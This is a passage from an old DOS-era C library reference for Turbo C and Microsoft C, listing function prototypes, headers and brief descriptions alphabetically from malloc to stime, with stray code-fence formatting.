:malloc
^void *malloc( unsigned size )


      - prototype in stdlib.h, alloc.h (malloc.h for MS C)

      - allocates memory of length size in bytes
      - returns pointer if successful, else NULL
      - MS C will return a zero length block (allocates header only)

:_matherr
%     double _matherr( _mexcep why, char *fun, double *arg1p,
%                   double *arg2p, double retval )


      - prototype in math.h

      - used with ~matherr~(), calling matherr() and processes the return
        value from matherr()
      - floating point error handling routine

:matherr
^int matherr( struct exception *e )
```

- prototype in math.h

- provided as customizable math error-handling routine

:mem...
^Memory Manipulation Functions

```
void  *memccpy( void *dest, const void *src, int c, size_t n )
void  *memchr( const void *s, int c, size_t n )
int   memcmp( const void *s1, const void *s2, size_t n )
void  *memcpy( void *dest, const void *src, size_t n )
int   memicmp( const void *s1, const void *s2, size_t n )
void  *memmove( void *dest, const void *src, size_t n )
void  *memset( void *s, int c, size_t n )
void  movedata( unsigned srcseg, unsigned srcoff,
              unsigned dstseg, unsigned dstoff, size_t n )
```

- prototypes for the preceding functions are in mem.h, string.h
- the following are prototyped in mem.h only (TC):

```
void  movmem( void *src, void *dest, unsigned length ); (mem.h only)
void  setmem( void *dest, unsigned length, char value ); (mem.h only)
```

:_memavl
^MSC: size_t _memavl(void)

- prototype in malloc.h

- returns size in bytes of memory available in the default
  data segment

:memccpy
^void *memccpy(void *dest, const void *src, int ch, size_t n)

- prototype in string.h, mem.h

- copies from src to dest until ch is copied or n bytes are copied
  returning a ptr to byte in dest immediately following ch or NULL

:memchr
^void *memchr(const void *s, int ch, size_t n)

- prototype in string.h, mem.h

- searches first n bytes in s for ch, returning pointer to first
  occurrence or NULL if not found

:memcmp
^int memcmp(const void *s1, const void *s2, size_t n)

- prototype in string.h, mem.h

- compares two strings s1 & s2 for a length of n bytes,
  returning a value:

        < 0   if s1 < s2

```
                  = 0   if s1 = s2
                  > 0   if s1 > s2

:memcpy
^void *memcpy( void *dest, const void *src, size_t n )


      - prototype in string.h, mem.h

      - copies n bytes from src to dest; returns dest
      - if overlap occurs, result is undefined (ANSI)

:memicmp
^int memicmp( const void *s1, const void *s2, size_t n )


      - prototype in string.h, mem.h

      - compares first n bytes of s1 & s2, case insensitive

:memmove
^void *memmove( void *dest, const void *src, size_t n )


      - prototype in string.h, mem.h

      - copies n bytes from src to dest; returns dest
      - allows copying overlapped strings (ANSI)

:memset
^void *memset( void *s, int ch, size_t n )


      - prototype in string.h, mem.h

      - memset sets all bytes of s to byte ch, with size of s = n;
        returns value of s

:mk_fp
^void far *MK_FP( unsigned segment, unsigned offset )


      - prototype in dos.h

      - returns a far pointer from offset and segment



      - not available in some Microsoft C versions; use the following:


      #define MK_FP(seg,off) \
       ((void far *) (((unsigned long)(seg) << 16) | (unsigned)(off))

      - see ~FP_OFF~() and ~FP_SEG~()
:mkdir
^int mkdir( const char *pathname )


      - prototype in dir.h

      - takes pathname & creates new directory with that name
      - returns 0 if successful, else -1
```

```
:mktemp
^char *mktemp( char *template )


      - prototype in dir.h

      - replaces template by unique file name & returns address of
        template if successful
      - template should be string with six trailing Xs

:modf
^double modf( double value, double *iptr )


      - prototype in math.h

      - splits value in integer and fraction part, storing integer part
        in area pointed to by iptr, returning the fractional part

:movedata
%     void movedata( unsigned segsrc, unsigned offsrc,
%                 unsigned segdest, unsigned offdest, size_t n )


      - prototype in mem.h, string.h

      - copies n bytes from segsrc:offsrc to segdest:offdest

:_moveto:_moveto_w
%      MSC: struct xycoord far _moveto( short x, short y )
%      MSC: struct _wxycoord far _moveto_w ( double wx, double wy )


      - prototype in graph.h

      - moves current drawing position to specified coordinates
      - returns previous coordinates in the following structures:

      struct xycoord          struct _wxycoord
          {                  {
          short xcoord;      double wx;    - window x coord
          short ycoord;      double wy;    - window y coord
          };                      };

      - see ~_lineto~()
:movmem
^void movmem( void *src, void *dest, unsigned len )


      - prototype in mem.h

      - copies len bytes from src to dest

:_msize:_bmsize:_fmsize:_nmsize
%     MSC: size_t _msize( void *block )
%     MSC: size_t _bmsize( _segment seg, void _based( void ) *block )
%     MSC: size_t _fmsize( void far *block )
%     MSC: size_t _nmsize( void near *block )


      - prototype in malloc.h
```

```
        - returns size of memory block in bytes
        - _msize() maps to other function depending on memory model

:_open
^TC: int _open( const char *path, int access )


        - prototype in io.h, also include fcntl.h

        - this function will not create a file, use _creat() if it doesn't
          currently exist
        - access is a combination of the following:

%            DOS 2.0+ Attributes
             O_RDONLY    open read only
             O_WRONLY    open write only
             O_RDWR      open read/write

%            DOS 3.1+ Attributes
             O_NOINHERIT file is not to be passed to child processes
             O_DENYALL   file is not accessible to others (exclusive)
             O_DENYWRITE file is read only to all other opens
             O_DENYREAD  file is write only to all other opens
             O_DENYNONE  file is to be shared by all

        - MS C uses ~_dos_open~()
        - see ~INT 21,3D~   ~open~()   ~_creat~()
:onexit
^MSC: onexit_t onexit( onexit_t func )


        - prototype in stdlib.h

        - creates a list of functions to execute on normal program exit
        - on exit functions are executed LIFO
        - a max of 32 function can be registered
        - returns pointer to "func" on success;  NULL otherwise
        - this is a Microsoft/Lattice extension; ANSI uses ~atexit~()

        - see  ~exit~()  ~abort~()
:open
^int open( const char *path, int access [, unsigned permis] )

        - prototype in io.h, also include stat.h & fcntl.h

        - open attribute flags are defined in fcntl.h
        - opens file "path" with access and optionally permis
        - access is a combination of the following ("permis" follows):

%       Read/Write Access Flags (mutually exclusive):
         O_RDONLY open read only
         O_WRONLY open write only
         O_RDWR   open read/write

%       Other Access Mode Flags:
         O_APPEND file pointer is placed at EOF before each write
         O_CREAT  if file doesn't exist, create with "permis" attributes
         O_TRUNC  if exists, truncate length to zero, but leave file
                  attributes unchanged
         O_BINARY binary mode
         O_TEXT   text mode
         O_EXCL   used with O_CREAT, error occurs if file already exists
         O_NDELAY UNIX only
```

```
%       Permission Attributes (if creating):
         S_IWRITE write permission
         S_IREAD  read permission
         S_IREAD | S_IWRITE read/write permission

      - if O_BINARY nor O_TEXT is given, file is opened in translation
        mode (O_TEXT) given by global variable _fmode
      - returns nonnegative number as file HANDLE, or -1 on error
      - see ~sopen~()
:outp:outpw
%           MSC: int outp( unsigned port, int datab )
%           MSC: unsigned outpw(unsigned port, unsigned dataw )


      - prototype in conio.h

      - write data value to port specified in port
      - port = hardware I/O port
      - datab = byte value to write
      - dataw = word value to write

      - Turbo C uses ~outportb~() and ~outport~()

:outport
^TC: void outport( int port, int word )


      - prototype in dos.h

      - outport() writes word to output port port
      - MS C uses ~outpw~()
      - see also ~outportb~()
:outportb
^TC: void outportb( int port, unsigned char byte )


      - prototype in dos.h

      - outportb() is macro that writes byte to output port port
      - MS C uses ~outp~()
      - see also ~outport~()
:_outtext
^MSC: void far _outtext( unsigned char far *text )


      - prototype in graph.h

      - writes string in "text' to the graphics display

:parsfnm
^TC: char *parsfnm( const char *cmdline, struct fcb *fcbptr, int option)


      - prototype in dos.h

      - parses command line cmdline for a file name, placing it into a
        FCB as drive/filename/file ext, pointed to by fcbptr
      - option is same as AL in MS-DOS function call ~INT 21,29~
      - returns pointer to byte beyond end of filename, 0=error

:peek
^TC: int peek( unsigned seg, unsigned off )
```

```
      - prototype in dos.h

      - returns word found at seg:off

:peekb
^TC: char peekb( unsigned seg, unsigned off )


      - prototype in dos.h

      - returns byte found at seg:off

:perror
^void perror( const char *string )


      - prototype in stdio.h

      - prints error message to stderr, describing most recent call
        found in system call from current program

:_pie:_pie_wxy
%     MSC: short _pie( short control, short x1, short y1, short x2,
%                  short y2, short x3, short y3, short x4, short y4 )

%     MSC: short far _pie_wxy( short ctl,
%                    struct _wxycoord far *pwxy1,
%                    struct _wxycoord far *pwxy2,
%                    struct _wxycoord far *pwxy3,
%                    struct _wxycoord far *pwxy4 )

      - prototype in graph.h

      - (x1, y1) upper left rectangle corner
      - (x2, y2) lower right rectangle corner
      - (x3, y3) start of vector
      - (x4, y4) end of vector
      - ctl = _GFILLINTERIOR  fills region with current color and mask
          _GBORDER  don't fill region

      - returns nonzero value on success; zero otherwise

:poke
^TC: void poke( unsigned seg, unsigned off, int value )


      - prototype in dos.h

      - writes word value to location seg:off

:pokeb
^TC: void pokeb( unsigned seg, unsigned off, char value )


      - prototype in dos.h

      - writes byte value to location seg:off

:poly
^double poly( double x, int n, double coeff[] )
```

```
      - prototype in math.h

      - generates polynominal in x of degree n, with coefficients coeff,
        returning the value of this polynominal evaluated for x

:pow
^double pow( double x, double y )


      - prototype in math.h

      - returns p where p = x ** y or +/- HUGE_VAL on error

:pow10
^double pow10( double x )


      - prototype in math.h

      - returns y where y = 10 ** x or HUGE_VAL on overflow error

:printf
^int printf( const char *format [, arg1, arg2, ...] )


      - prototype in stdio.h

      - printf formatted string


      - see ~PRINTF SPEC~   for format specifiers
:printf specifiers
^Specifications for printf()

%     %[-][+][space][#][width][.prec][size]type

%     Field            Description

      -     left justify
      +     prefix positive numbers with '+', overrides blank
      space   prefix positive numbers with space
      #     prefix octal or hex with 0, (see manual for Turbo C)
      width width of output string in total characters, a 0 before
            width causes padding with zeros on left.
      .prec   decimal precision in characters
      size  F     far pointer
            N     near pointer
            h     specifies short
            l     specifies long
            L     long double
      type  c     single character
            d     signed decimal integer
            e     signed exponential, 'e' is output in string
            E     signed exponential, 'E' is output in string
            f     signed floating point in form of sddd.ddd
            g     formats e or f (depends on size), e is output
            G     formats e or f (depends on size), E is output
            i     signed decimal integer
            n     integer pointer
            o     unsigned octal integer
            p     void pointer;  MS C always uses far pointers, in
                  Turbo C, size is dependent on memory model
```

```
            s     string pointer
            u     unsigned decimal integer
            x     unsigned integer in lower case hex format
            X     unsigned integer in upper case hex format

      - if width or precision are specified as an asterisk '*', an int
        from the argument list is used as the width or precision. If the
        width is too small the field is expanded.  Example:

            int len = 5;
            char *string = "This is a string"

            printf("%*.*s", len, len, "string");

        is functionally similar to a specification string of "%5.5s"
        which prints a max of 5 characters of the string.
:putc
^int putc( int c, FILE *fp )


      - prototype in stdio.h

      - puts char c to stream fp, returning c on success, else
        returns EOF on error

:putch
^int putch( int ch )


      - prototype in conio.h

      - puts char ch to console with BEL, BS, TAB, LF and BEL characters
        are converted similar to DOS I/O
      - TC uses direct video or BIOS depending on value of external
        variable directvideo
      - returns nothing

:putchar
^int putchar( char c )


      - prototype in stdio.h

      - same as ~putc~(c,stdout)

:putenv
^int putenv( const char *envvar )


      - prototype in stdlib.h

      - adds string to environment
      - DOS environment consists of strings of form envvar=varvalue,...
      - returns 0 if OK
              1 on failure

:_putimage:_putimage_w
%     MSC: void _putimage(short x, short y, char huge *image, short action)

%     MSC: void far _putimage_w( double wx, double wy,
%                           char huge *image, short action )

      - prototype in graph.h
```

```
      - restores previously saved screen image to screen
      - (x, y) upper left corner of image
      - image = buffer containing previously saved image
      - action = defines interaction between current screen buffer and
               the data stored in "image"
             = _GAND    AND image with current screen
             = _GOR           OR image with current screen
             = _GPRESET overwrite current screen with inverse of image
             = _GPSET   overwrite current screen with exact image
             = _GXOR    XOR's image to current screen

      - Turbo C uses ~putimage~()
      - see ~_getimage~()   ~_imagesize~()
:putimage
^void far putimage( int left, int top, void far *bitmap, int option )

      - prototype in graphics.h

      - left and top represent the upper left corner of the area the
        bitmap data will be placed

      - op may be one of the following:
            COPY_PUT copy data from bitmap to screen and erasing contents
            XOR_PUT  xor data in bitmap with current screen
            OR_PUT   or data in bitmap with current screen
            AND_PUT  and data in bitmap with current screen
            NOT_PUT  similar to COPY_PUT, but inverse of data

      - the ~getimage~()/putimage() buffer has the following format:
            00    width of image    (WORD)
            02    height of image  (WORD)
            04    actual bitmap pixel data, format and size is
                  related to video mode and dimensions
:puts
^int puts( const char *string )


      - prototype in stdio.h

      - copies string to stdout and appends a newline

:putw
^int putw( int n, FILE *fp )


      - prototype in stdio.h

      - puts integer word n to stream fp
      - returns n or EOF on error.  Use ferror() to verify
        if EOF is returned, since -1 is a legitimate integer.

:qsort
%     void qsort( void *array, size_t n_elem, size_t elem_size,
%                 int (*fcmp)(const void *, const void *) )


      - prototype in stdlib.h

      - sorts the given array using the ACM quick sort routine
      - fcmp() is the same as for ~bsearch~()

:raise
```

```
^MSC: int raise( int sig )


	- prototype in signal.h

	- raises signal to program where 'sig' is:

		SIGABRT	signal abnormal termination
		SIGILL	signal illegal instruction
		SIGSEGV	signal illegal storage access
		SIGFPE	signal floating point error
		SIGINT	signal Ctrl-Break interrupt
		SIGTERM	signal program termination (ignored in MS DOS)
		SIGUSR1	user signal
		SIGUSR2	user signal
		SIGUSR3	user signal

	- returns 0 on success; nonzero otherwise

	- see ~signal~()
:rand
%		int rand( void )
%		void srand( unsigned seed )


	- prototype in stdlib.h

	- rand() returns pseudorandom numbers
	- re-initialize generator with ~srand~(1) or set to new starting
	  point with seed set other than to 1

:randbrd
^TC: int randbrd( struct fcb *fcbptr, int reccnt )


	- prototype in dos.h

	- randbrd() reads reccnt number of records using the open FCB via
	  fcbptr, as indicated by the disk record field of the FCB (via
	  ~INT 21,27~)
	- returns:
	  0  all records read(written)
	  1  EOF reached & last record read is complete
	  2  reading records would have wrapped around address 0xffff
	  3  EOF reached & last record is incomplete
	- see ~randbrw~()
:randbrw
^TC: int randbrw( struct fcb *fcbptr, int reccnt )


	- prototype in dos.h

	- randbrw() returns 1 if there is not enough disk space to write
	  the records (no records are written)
	- see ~randbrd~()
:_read
^TC: int _read( int handle, void *buf, int size )


	- prototype in io.h

	- reads "size" bytes from file "handle" into "buf"
	- size must be less than 65534 bytes
```

```
      - is a direct call to MS-DOS read function ~INT 21,3F~
      - does not translate CR/LF;  all input in binary
      - returns number of bytes successfully transferred or -1
      - MS C uses ~_dos_read~()

      - see   ~read~()  ~_open~()  ~_creat~()  ~_write~()   ~_close~()
:read
^int read( int handle, char *buf, int size )


      - prototype in io.h

      - reads "size" bytes from file "handle" into "buf"
      - removes CR's & reports EOF on a Ctrl-Z for text mode file
      - returns number of bytes read, 0 on EOF, or -1 on error

:realloc
^void *realloc( void *pseg, unsigned size )


      - prototype in stdlib.h & alloc.h (malloc.h for MS C)

      - see ~malloc~()
:_rectangle:_rectangle_w:_rectangle_wxy
%     MSC: short _rectangle( short ctl, short x1, short y1,
%                      short x2, short y2 )

%     MSC: short far _rectangle_w( short control, double wx1,
%                            double wy1, double wx2, double wy2 )

%     MSC: short far _rectangle_wxy( short control,
%           struct _wxycoord far *pwxy1, struct _wxycoord far *pwxy2 )


      - prototype in graph.h

      - (x1,y1) upper left corner of rectangle
      - (x2,y2) lower right corner of rectangle
      - ctl = _GFILLINTERIOR  fill rect. with current color and mask
            = _GBORDER        don't fill rectangle

      - returns nonzero on success; zero otherwise

:_remapallpalette:_remappalette
%     MSC: short far _remapallpalette( long far *colors )
%     MSC: long far _remappalette( short pixnum, long color )

      - prototype in graph.h

      - colors = color number array containing one color per video
               mode color
      - pixnum = pixel to change
      - color = new color number

%     Valid colors are:

      _BLACK           _BLUE       _BRIGHTWHITE      _BROWN
      _CYAN       _GRAY       _GREEN           _LIGHTBLUE
      _LIGHTCYAN  _LIGHTGREEN _LIGHTMAGENTA     _LIGHTRED
      _YELLOW          _MAGENTA    _RED        _WHITE

      - _remapallpalette() remaps all pixel values; _remappalette()
        affects on the pixel specified by pixnum
```

- _remapallpalette() returns -1 on success; zero otherwise
- _remappalette() previous color value of "pixnum" on success; -1 otherwise

:remove
^int remove(char *filename)

- prototype in stdio.h

- implemented as a macro of function ~unlink~()
- attempts to delete an open file may damage the file system

:rename
^int rename(const char *oldf, const char *newf)

- prototype in stdio.h

- rename file from oldf to newf
- attempts to rename an open file may damage the file system
- returns 0 if OK, else -1 on error

:rewind
^void rewind(FILE *fp)

- prototype in stdio.h

- equivalent to ~fseek~(fp,0L,SEEK_SET), except EOF and error indicators are cleared
- returns 0 if pointer moved OK, else nonzero

:rmdir
^int rmdir(const char *path)

- prototype in dir.h

- takes path & deletes directory with that name
- returns 0 if successful, else -1

:rmtmp
^MSC: int rmtmp(void)

- prototype in stdio.h

- cleans up all temporary files in the current directory created by ~tmpfile~()
- should only be used on files in the current directory
- returns number of temporary files closed and deleted

:_rotl:_rotr
^MSC: unsigned _rotl(unsigned value, int shift)
^MSC: unsigned _rotr(unsigned value, int shift)

- prototype in stdlib.h

- rotates value by 'n' bits left or right
- returns rotated value

```
      - see  ~_lrotl~()   ~_lrotr~()
:sbrk
^void *sbrk( int incr )


      - prototype in alloc.h (malloc.h for MS C)

      - dynamically changes the amount of space allocated to the calling
        programs data segment.  Amount of allocated space is increased by
        amount incr (can be negative).

      - returns 0 if OK
             -1 & errno is set to ENOMEM

:scanf
^int scanf( const char *format, arg1, arg2, ... )


      - prototype in stdio.h

      - accepts input from stdin and converts to format specs


      - see ~SCANF SPEC~
:scanf specifiers
^Specifications for scanf()

%     %[*][width][size]type

%     Field               Description

      *     read next field but suppress assignment
      width       maximum number of characters to read
      size  F     far pointer
            N     near pointer
            h     specifies short
            l     specifies long
      type  %     prints % character
            c     character data
            d     signed decimal integer
            D     signed long int
            e,E   signed exponential
            f     signed floating point in form of sddd.ddd
            g,G   used for e and f formats
            i     signed decimal, octal or hex integer
            I     signed decimal, octal, or hex long integer
            n     integer pointer
            o     unsigned octal integer
            O     unsigned octal long integer
            p     void pointer;  MS C always uses far pointers, in
                  Turbo C, size is dependent on memory model
            s     string pointer
            u     unsigned decimal integer
            U     unsigned decimal long integer
            x     unsigned hexadecimal integer
            X     unsigned hexadecimal long integer

      - The unpredictability of ~scanf~() in the DOS environment precludes
        it's use in a user friendly user interface.

:_searchenv
^MSC: void _searchenv( char *fname, char *var, char *path )
```

```
       - prototype in stdlib.h

       - searches for "fname" in environment variable "var"
       - fname = name of file to search for
       - var = environment variable to use for search
       - path = receives path if file found
       - attempts to locate filename using MS-DOS file search strategy

       - Turbo C uses ~searchpath~()

:searchpath
^TC: char *searchpath( const char *filename )


       - prototype in dir.h

       - filename = name of file to search for
       - attempts to locate filename using MS-DOS path using standard
         DOS file search strategy
       - returns pointer to full pathname for filename (in a static
         array) or NULL if not found
       - MS C uses ~_searchenv~()

:segread
^void segread( struct SREGS *segregs )


       - prototype in dos.h

       - places current values of segment registers (SEGREGS) into segtbl
       - available in Turbo C and MS C
       - unique to DOS
       - see ~REGS~
:_selectpalette
^MSC: short far _selectpalette( short palette )


       - prototype in graph.h

       - palette = palette number
       - works only in MRES4COLOR and MRESNOCOLOR video modes
       - returns value of previous palette

:_setactivepage
^MSC: short far _setactivepage( short page )


       - prototype in graph.h

       - page = memory page where graphics output will be written
       - if successful returns page number of former active page or
         negative value on failure
       - swapping video pages is a good method of handling animation

:_setbkcolor
^MSC: long far _setbkcolor( long color )


       - prototype in graph.h

       - color = new color for background
       - returns previous background color
```

```
:setblock
^TC: int setblock( unsigned seg, unsigned newsize )


      - prototype in dos.h

      - modifies size of previously allocated DOS memory segment
      - MSC uses ~_dos_setblock~()
      - see ~INT 21,4A~
:setbuf
^void setbuf( FILE *stream, char *buf )


      - prototype in stdio.h

      - causes "buf" to be used for I/O buffering instead of the
        automatically allocated buffer, and are used after given
        stream is opened
      - if "buf" is NULL, I/O is unbuffered
      - no I/O to the file should occur after opening file until
        buffering is set

      - see ~setvbuf~()
:setcbrk
^TC: int setcbrk( int value )


      - prototype in dos.h

      - sets control-break setting (value = 0 sets Ctrl-C checking off
        except for during console and printer I/O; value = 1 always
        check during DOS calls)

:_setcliprgn
^MSC: void far _setcliprgn( short x1, short y1, short x2, short y2 )


      - prototype in graph.h

      - all graphics output to the screen is limited to the specified
        region;  output to areas other than this area is clipped
      - (x1,y1) upper left corner of clipping region
      - (x1,y1) lower right corner of clipping region

:_setcolor
^MSC: short far _setcolor( short color )


      - prototype in graph.h

      - color = new color value
      - returns previous color index or -1 on error
      - all subsequent graphics calls will use the specified color

:setdate
^TC: void setdate( struct date *dateblk )


      - prototype in dos.h

      - sets DOS date via ~INT 21,2B~
      - DOS 3.3+ also sets CMOS clock
```

```
      - MS C uses ~_dos_setdate~()
:setdisk
^TC: int setdisk( int drive )


      - prototype in dir.h

      - set current drive to set as default;   0 = A:, 1 = B:, ...
      - returns total number of drives available

      - MS C uses ~_dos_setdrive~()
      - see ~INT 21,E~
:setdta
^TC: void setdta( char far *dta )


      - prototype in dos.h

      - changes current setting of the ~DTA~ as given by DTA
      - no corresponding function in MS C

:_setfillmask
^MSC: void far _setfillmask( unsigned char far *mask )


      - prototype in graph.h

      - mask =  8 by 8 bit fill mask array
      - sets the fill mask used to fill screen regions
      - any bit set to 1 will have the default color; any bit cleared
        to zero leaves the pixel unchanged
      - when no fill mask is set (NULL), the default color only is used

:_setfont
^MSC: short far _setfont( unsigned char far *options )


      - prototype in graph.h

      - returns font with matching "options"
        returns negative value on error
        -1  Font not registered
        -4  not enough memory for font
:setftime
^TC: int setftime( int handle, struct ftime *ftimep )


      - prototype in dos.h

      - sets file time and date for the file associated with handle as
        defined by ftimep
      - structure ftime is defined in dos.h
      - MS C uses ~_dos_setftime~()
      - see ~INT 21,57~
:setjmp
^int setjmp( jmp_buf env )


      - prototype in setjmp.h

      - captures callers task state in env and returns 0
      - see ~longjmp~()
```

```
:_setlinestyle
^MSC: void far _setlinestyle( unsigned short mask )


      - prototype in graph.h

      - each 1 bit represents a pixel (in current color) in the line
        mask;  each 0 represent a pixel that is left alone
      - default line style is FFFFh

      - see ~_getlinestyle~()
:_setlogorg:_setvieworg
^struct xycoord far _setlogorg( short x, short y )


      - prototype in graph.h

      - moves the logical origin (0,0) to the physical point (x,y)
      - returns previous logical origin in physical coordinates to:

      struct xycoord
          {
          short xcoord;
          short ycoord;
          };

:setmem
^void setmem( void *addr, int len, char value )


      - prototype in mem.h

      - sets len bytes in addr to value

:setmode
^int setmode( int handle, int mode )


      - prototype in io.h

      - sets mode of file associated with handle to binary (O_BINARY) or
        text (O_TEXT) but not both
      - returns 0 if successful, else -1 on error

:_setpixel:_setpixel_w
%           MSC: short far _setpixel( short x, short y )
%           MSC: short far _setpixel_w( double wx, double wy )


      - prototype in graph.h

      - returns previous value of pixel or -1 on error

      - Turbo C uses ~setpixel~()
      - see ~_getpixel~()
:_settextcolor
^MSC: short far _settextcolor( short color )


      - prototype in graph.h

      - sets color of graphics text to color
      - default color is the highest valid color
```

```
      - returns previous color

      - see ~_gettextcolor~()
:_settextposition
%     MSC: struct rccoord far _settextposition( short row, short column )


      - prototype in graph.h

      - sets the current text position to that specified
      - returns previous text position in rccoord structure

      - see ~_gettextposition~()
:_settextwindow
^MSC: void far _settextwindow(short r1,short c1,short r2,short c2)


      - prototype in graph.h

      - sets graphics text output window;  text scrolls in window when
        the window becomes full
      - (r1,c1) upper left corner of window
      - (r2,c2) lower right corner of window


:settime
^TC: void settime( struct time *timep )


      - prototype in dos.h

      - sets MS-DOS time via INT 21,2D
      - DOS 3.3+ also sets CMOS clock

      - MS C uses ~_dos_settime~()
      - see ~INT 21,2D~
:setvbuf
^int setvbuf( FILE *stream, char *buf, int type, size_t size )


      - prototype in stdio.h

      - causes buf to be used for I/O buffering instead of the auto-
        matically allocated buffer; used after given stream is opened
        and before output
      - in setvbuf, if buf is NULL, a buffer is allocated via malloc()
      - no I/O to the file should occur until after buffering is set

      - see ~setbuf~()
:setvect
^TC: void setvect( int intr_num, void interrupt(*isr)() )


      - prototype in dos.h

      - sets the value of interrupt vector named by intr_num
        (corresponds to 0-255 for MS-DOS) in DOS interrupt vector
        table to a far pointer to "isr" an interrupt service routine
      - address of a C routine may be used only if it has been
        declared to be an interrupt routine.   Ex:

^void interrupt func( void );
```

```
      - MS C uses ~_dos_setvect~()
      - see ~INT 21,25~
:setverify
^TC: int setverify( int value )


      - prototype in dos.h

      - sets state of verify flag (0==off, 1==on) to value
      - no corresponding MS C function
      - see ~INT 21,2E~
:_setvideomode
^MSC: short far _setvideomode( short mode )

      - prototype in graph.h

      - sets video mode specified
      - mode=     _DEFAULTMODE      hardware default
            _MAXCOLORMODE     graphics mode with most colors
            _MAXRESMODE graphics mode with highest resolution
            _TEXTBW40    40x25        16 color  CGA/Text
            _TEXTC40     40x25        16 color  CGA/Text
            _TEXTBW80    80x25        16 shades CGA/Text
            _TEXTC80     80x25        16 color  CGA/Text
            _MRES4COLOR 320x200    4 color  CGA/Graphics
            _MRESNOCOLOR      320x200    4 color  CGA/Graphics
            _HRESBW           640x200    2 color  CGA/Graphics
            _TEXTMONO    80x25             mono  MDA/Text
            _MRES16COLOR      320x200   16 color  EGA/Graphics
            _HRES16COLOR      640x200   16 color  EGA/Graphics
            _ERESNOCOLOR      640x350    1 color  EGA/Text
            _ERESCOLOR  640x350   64 color  EGA/Graphics
            _VRES2COLOR 640x480    2 color  VGA/Graphics
            _VRES16COLOR      640x480   16 color  VGA/Graphics
            _MRES256COLOR     320x200  256 color  VGA/Graphics
            _ORESCOLOR  640x400   16 color  CGA/Graphics/Olivetti
            _HERCMONO   720x348    2 color  HGC/Graphics/Hercules

      - returns non-zero on success; zero on error

:_setviewport
^MSC: void far _setviewport( short x1, short y1, short x2, short y2 )


      - prototype in graph.h

      - defines a clipping region like ~_setcliprgn~()
      - sets the logical origin to the upper left corner coordinates
        specified as parameters
      - (x1,y1) upper left corner of window
      - (x2,y2) lower right corner of window

:_setvisualpage
^MSC: short far _setvisualpage( short page )


      - prototype in graph.h

      - sets visual page to that specified
      - default page is zero
      - returns previous page number or a negative value on error

:sin
```

```
^double sin( double x )


      - prototype in math.h

      - returns sine of x
      - x must be in radians

:sinh
^double sinh( double x )


      - prototype in math.h

      - returns hyperbolic sine of x
      - x must be in radians

:sleep
^TC: void sleep( unsigned seconds )


      - prototype in dos.h

      - suspended program for seconds of time
      - accurate in seconds to limit of MS-DOS clock
      - no corresponding MS C function

:sopen
^int sopen( const char *path, int access, int shflag, int mode )

      - prototype in io.h, also include share.h, stat.h & fcntl.h

      - actually a macro defined:  open( path, (access | shflag), mode )
      - opens file "path" and prepares it for shared I/O
      - sharing mode is determined using access, shflag and mode
      - access is a combination of the following ("permis" follows):

%     Read/Write Access Flags (mutually exclusive):
      O_RDONLY    open read only
      O_WRONLY    open write only
      O_RDWR            open read/write

%     Other Access Mode Flags:
      O_APPEND    file pointer is placed at EOF before each write
      O_CREAT           if file doesn't exist, create with "permis" attributes
      O_TRUNC           if exists, truncate length to zero, but leave file
                  attributes unchanged
      O_BINARY    binary mode
      O_TEXT            text mode
      O_EXCL            used with O_CREAT, error occurs if file already exists
      O_NDELAY    UNIX only

%     Permission Attributes (if creating):
      S_IWRITE    write permission
      S_IREAD           read permission
      S_IREAD | S_IWRITE read/write permission

      - if O_BINARY nor O_TEXT is given, file is opened in translation
        mode (O_TEXT) given by global variable _fmode
      - returns non-negative number as file handle, or -1 on error
:spawn:spawn...
^Function spawn(), etc...
```

```
        int spawnl( int mode, char *path, char *arg0,
                    char *arg1, ..., NULL )
        int spawnle( int mode, char *path, char *arg0,
                    char *arg1, ..., NULL, char *envp[] )
        int spawnlp( int mode, char *path, char *arg0,
                    char *arg1, ..., NULL )
        int spawnlpe( int mode, char *path, char *arg0,
                    char *arg1, ..., NULL, char *envp[] )
        int spawnv( int mode, char *path, char *argv )
        int spawnve( int mode, char *path, char *argv, char *envp[] )
        int spawnvp( int mode, char *path, char *argv )
        int spawnvpe( int mode, char *path, char *argv, char *envp[] )

        - prototype in process.h

        - creates & runs child processes
        - mode is P_WAIT which puts parent process "on hold" until child
          completes execution; P_NOWAIT which continues to run parent
          while child runs (not supported yet); or P_OVERLAY which overlays
          child in memory location formerly occupied by parent (same as
          exec... call)
        - use P_WAIT to perform a DOS shell
        - returns 0 for SUCCESS and non-zero for failure based on the
          errorlevel set by the application

        - see ~exec...~
:_splitpath
%       MSC: void _splitpath( char *path, char *drive, char *dir,
%                             char *fname, char *ext )

        - prototype in stdlib.h

        - dissects the path into components
        - path = fully qualified file name to dissect
        - drive = is the drive letter followed by a colon if drive was
          specified in string
        - dir = any directories included in "path" plus '\'
        - fname = base filename w/o extension
        - ext = file extension
        - the maximum size of each component is: _MAX_DRIVE, _MAX_DIR,
          _MAX_FNAME, _MAX_EXT (all include the NULL and are actually
          much larger than needed, except _MAX_DRIVE is exact fit)

        - see ~_makepath~()
:sprintf
^int sprintf( char *s, const char *format [, arg1, arg2, ...] )


        - prototype in stdio.h

        - prints formatted data into string s


        - see ~PRINTF SPEC~  for format specifiers
:sqrt
^double sqrt( double x )


        - prototype in math.h

        - returns square root of x, or 0 on error

:srand
```

```
^void srand( unsigned seed )


      - prototype in stdlib.h

      - re-initializes the random number generator with seed
      - see ~rand~()
:sscanf
^int sscanf( const char *s, const char *format, arg1, arg2, ... )


      - prototype in stdio.h

      - see ~scanf~()  and   ~SCANF SPECS~
:ssignal
^int (*ssignal( int sig, int (*action)))) (void)


      - prototype in signal.h

      - ssignal() and ~gsignal~() implement a software-signaling facility
        where software signals are integers 1-15
      - ssignal() establishes an action routine for servicing a signal
        where sig is associated with the action routine
      - ssignal() returns action previously established for ssignal()
        or SIG_DFL
      - UNIX based

:stackavail
^MSC: size_t stackavail( void )


      - prototype in malloc.h

      - used to determine approximate memory available on the stack for
        allocation via ~alloca~()
      - returns approximate memory available on the stack
:stat
%           int stat( char *pathname, struct stat *buff )
%           int fstat( char *handle, struct stat *buff )


      - prototype in stat.h

      - stat() and ~fstat~() store information about a given open file
        (or directory) in the stat structure (in stat.h)
      - stat() gets information about the open file or directory, while
        fstat() gets info about the open file associated with handle
      - returns 0 if successful, else -1 on error

:_status87
^unsigned int _status87( void )


      - prototype in float.h

      - returns floating-point status word & other conditions detected
        by 8087/80287 exception handler
      - see ~_clear87~()   ~_control87~() (float.h also)
:stime
^int stime( time_t *tp )
```

```
      - prototype in time.h

      - sets system time & date, where tp to value of time in seconds
        since 00:00:00 GMT Jan 1, 1970

:str...:strings
^String Manipulation Functions

      - prototype in string.h (a few also exist in stdlib.h)

%     Conversion:
